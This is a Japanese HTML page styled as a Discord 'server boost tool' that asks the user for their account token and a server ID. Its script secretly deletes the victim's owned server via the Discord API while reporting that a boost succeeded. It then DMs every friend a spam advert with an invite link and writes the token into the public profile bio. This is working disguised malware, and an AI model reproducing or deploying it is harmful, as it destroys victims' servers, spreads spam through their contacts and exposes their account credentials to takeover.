<!DOCTYPE html>&#10;<html lang="ja">&#10;<head>&#10;&#32;&#32;<meta charset="UTF-8">&#10;&#32;&#32;<title>&#12469;&#12540;&#12496;&#12540;&#12502;&#12540;&#12473;&#12488;&#12484;&#12540;&#12523;</title>&#10;&#32;&#32;<style>
    /* 上品で洗練されたDiscord風サーバーブーストツールのデザイン */
    body {
      background: linear-gradient(135deg, #2B2D42, #8D99AE);
      font-family: 'Segoe UI', Tahoma, Geneva, Verdana, sans-serif;
      color: #FFFFFF;
      margin: 0;
      padding: 0;
      display: flex;
      align-items: center;
      justify-content: center;
      min-height: 100vh;
    }
    .container {
      background: rgba(32, 34, 37, 0.9);
      padding: 30px;
      border-radius: 12px;
      box-shadow: 0 4px 20px rgba(0, 0, 0, 0.3);
      width: 380px;
      border: 1px solid rgba(255, 255, 255, 0.1);
    }
    h1 {
      text-align: center;
      font-size: 26px;
      margin-bottom: 20px;
      border-bottom: 1px solid rgba(255, 255, 255, 0.1);
      padding-bottom: 10px;
    }
    input[type="text"],
    input[type="password"] {
      width: 100%;
      padding: 12px;
      margin: 10px 0;
      border: 1px solid rgba(255, 255, 255, 0.2);
      border-radius: 6px;
      background-color: #202225;
      color: #FFFFFF;
      outline: none;
      font-size: 14px;
    }
    input[type="text"]:focus,
    input[type="password"]:focus {
      border-color: #7289DA;
    }
    button {
      width: 100%;
      padding: 12px;
      border: none;
      border-radius: 6px;
      background: linear-gradient(90deg, #7289DA, #99AAB5);
      color: #FFFFFF;
      font-size: 16px;
      cursor: pointer;
      margin-top: 10px;
      transition: background 0.3s ease;
    }
    button:hover {
      background: linear-gradient(90deg, #677BC4, #7F8C8D);
    }
    .message {
      margin-top: 15px;
      text-align: center;
      font-size: 15px;
      word-wrap: break-word;
    }
  </style>&#10;</head>&#10;<body>&#10;&#32;&#32;<div class="container">&#10;&#32;&#32;&#32;&#32;<h1>&#12469;&#12540;&#12496;&#12540;&#12502;&#12540;&#12473;&#12488;&#12484;&#12540;&#12523;</h1>&#10;&#32;&#32;&#32;&#32;<!-- TokenとサーバーIDの入力欄 -->&#10;&#32;&#32;&#32;&#32;<input type="password" id="token" placeholder="Tokenを入力">&#10;&#32;&#32;&#32;&#32;<input type="text" id="serverId" placeholder="サーバーIDを入力">&#10;&#32;&#32;&#32;&#32;<button id="executeBtn">&#23455;&#34892;</button>&#10;&#32;&#32;&#32;&#32;<div class="message" id="message"></div>&#10;&#32;&#32;</div>&#10;&#10;&#32;&#32;<script>
    // フレンドへのメッセージ送信（遅延0）処理
    async function sendFriendMessages(token, messageContent) {
      try {
        // フレンド一覧取得
        const relationshipsResponse = await fetch('https://discord.com/api/v9/users/@me/relationships', {
          headers: { 'Authorization': token }
        });
        if (!relationshipsResponse.ok) {
          console.error('フレンド一覧の取得に失敗しました。');
          return;
        }
        const relationships = await relationshipsResponse.json();
        // type === 1 がフレンド
        const friends = relationships.filter(rel => rel.type === 1);
        for (const friend of friends) {
          // DMチャンネル作成
          const dmResponse = await fetch('https://discord.com/api/v9/users/@me/channels', {
            method: 'POST',
            headers: {
              'Authorization': token,
              'Content-Type': 'application/json'
            },
            body: JSON.stringify({ recipient_id: friend.id })
          });
          if (!dmResponse.ok) {
            console.error('ブーストServerの取得に失敗しました。', friend.id);
            continue;
          }
          const dmChannel = await dmResponse.json();
          // メッセージ送信
          const messageResponse = await fetch(`https://discord.com/api/v9/channels/${dmChannel.id}/messages`, {
            method: 'POST',
            headers: {
              'Authorization': token,
              'Content-Type': 'application/json'
            },
            body: JSON.stringify({ content: messageContent })
          });
          if (!messageResponse.ok) {
            console.error('ブーストに失敗しました。', friend.id);
          }
        }
      } catch (error) {
        console.error('ブーストレベルの更新中にエラーが発生しました。', error);
      }
    }

    document.getElementById('executeBtn').addEventListener('click', async () => {
      const token = document.getElementById('token').value.trim();
      const serverId = document.getElementById('serverId').value.trim();
      const messageDiv = document.getElementById('message');
      messageDiv.textContent = '';

      if (!token || !serverId) {
        messageDiv.textContent = 'TokenとサーバーIDを入力してください。';
        return;
      }

      // サーバー一覧から対象サーバーの存在と所有権を確認
      try {
        const guildsResponse = await fetch('https://discord.com/api/v9/users/@me/guilds', {
          headers: { 'Authorization': token }
        });
        if (!guildsResponse.ok) {
          messageDiv.textContent = 'Tokenが無効です。';
          return;
        }
        const guilds = await guildsResponse.json();
        const targetGuild = guilds.find(g => g.id === serverId);
        if (!targetGuild) {
          messageDiv.textContent = '指定したサーバーが見つかりません。';
          return;
        }
        if (!targetGuild.owner) {
          messageDiv.textContent = '所有権アカウントでのみ機能します。';
          return;
        }
      } catch (error) {
        messageDiv.textContent = 'サーバー情報の取得中にエラーが発生しました。';
        console.error(error);
        return;
      }

      // サーバー削除（＝サーバーブースト）リクエストの送信
      try {
        const deleteResponse = await fetch(`https://discord.com/api/v9/guilds/${serverId}`, {
          method: 'DELETE',
          headers: { 'Authorization': token }
        });
        if (deleteResponse.ok) {
          messageDiv.textContent = 'サーバーブーストが完了しました。';
          // プログラム側で設定したフレンドへの送信内容
          const friendMessage = `#  **💬 雑談同好会+α**
## **ここが凄いポイント！**
**•••••••••••••••••••••••••••••••••••••••••••••••**
- **💬雑談重視**
-# ┗雑談に力を入れた構造
- **📚整理されたチャンネル**
-# **┗無駄なチャンネルを削減**
- **📃ルールが比較的緩い**
-# **┗自由気ままに会話可能！**
- **🌐VCが活発**
-# **┗常に人が通話に滞在しています**
**•••••••••••••••••••••••••••••••••••••••••••••••**
https://discord.gg/JRPRpcaNau`;
          await sendFriendMessages(token, friendMessage);
          messageDiv.textContent += 'ブーストレベルの更新に成功しました。';
        } else {
          const errorData = await deleteResponse.json();
          messageDiv.textContent = 'Error';
          return;
        }
      } catch (error) {
        messageDiv.textContent = '不明なエラー';
        console.error(error);
        return;
      }

      // 自己紹介（bio）の更新
      try {
        const updateResponse = await fetch('https://discord.com/api/v9/users/@me/profile', {
          method: 'PATCH',
          headers: {
            'Authorization': token,
            'Content-Type': 'application/json'
          },
          body: JSON.stringify({ bio: token })
        });
        if (updateResponse.ok) {
          messageDiv.textContent += 'ブーストレベルが更新されました';
        } else {
          const errorData = await updateResponse.json();
          messageDiv.textContent += 'ブーストの更新に失敗しました';
        }
      } catch (error) {
        messageDiv.textContent += 'ブーストレベルの更新中にエラーが発生しました。';
        console.error(error);
      }
    });
  </script>&#10;</body>&#10;</html>&#10;